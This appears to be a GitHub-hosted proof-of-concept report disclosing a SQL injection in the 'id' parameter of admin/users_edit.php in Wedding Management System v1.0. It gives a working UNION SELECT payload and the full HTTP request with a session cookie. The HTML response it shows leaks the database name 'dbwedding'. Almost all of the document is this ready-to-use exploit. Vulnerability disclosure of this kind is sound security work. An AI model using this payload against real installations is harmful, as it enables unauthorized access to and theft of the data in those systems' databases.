debug601 Update SQLi-7.md History

1 contributor

27 lines (19 sloc) | 1.03 KB

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \admin\users_edit.php

Vulnerability location: /Wedding-Management/admin/users_edit.php?id=, id

[+] Payload: id=-8%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12--+

dbname = dbwedding

```
GET /Wedding-Management/admin/users_edit.php?id=-8%20union%20select%201,database(),3
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET
/Wedding-Management/admin/users_edit.ph
p?id=-8%20union%20select%201,database()
,3,4,5,6,7,8,9,10,11,12--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicat
ion/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
                    <div class="text-center mb-3 mt-3">
                        <img src="upload/users/11" style="border-radius: 50%; width: 300px;height:
300px;diplay:block;" alt="">

                    </div>
                   <!--   <div class="form-group">
                       <label for="inputProfilePicture">Insert New Image</label>
                       <input type="file" name="profile_picture" class="form-control-file"
id="inputProfilePicture">
                   </div>
 -->
                    <div class="custom-file mb-3" style="font-size: 13px;">
                      <input type="file" class="custom-file-input" id="customFile" name="profile_picture">
                      <label class="custom-file-label" for="customFile">Edit Profile Picture</label>
                    </div>
                    <div class="form-row">
                        <div class="form-group col-md-6">
                            <label for="inputFirstname">Firstname:</label>
                            <input type="text" name="firstname" class="form-control" value="dbwedding"
id="inputFirstname"  placeholder="Enter firstname">
                        </div>
                       <div class="form-group col-md-6">
                            <label for="inputLastname">Lastname:</label>
                            <input type="text" name="lastname" class="form-control" value="3" id="inputLas
placeholder="Enter lastname">
                        </div>
```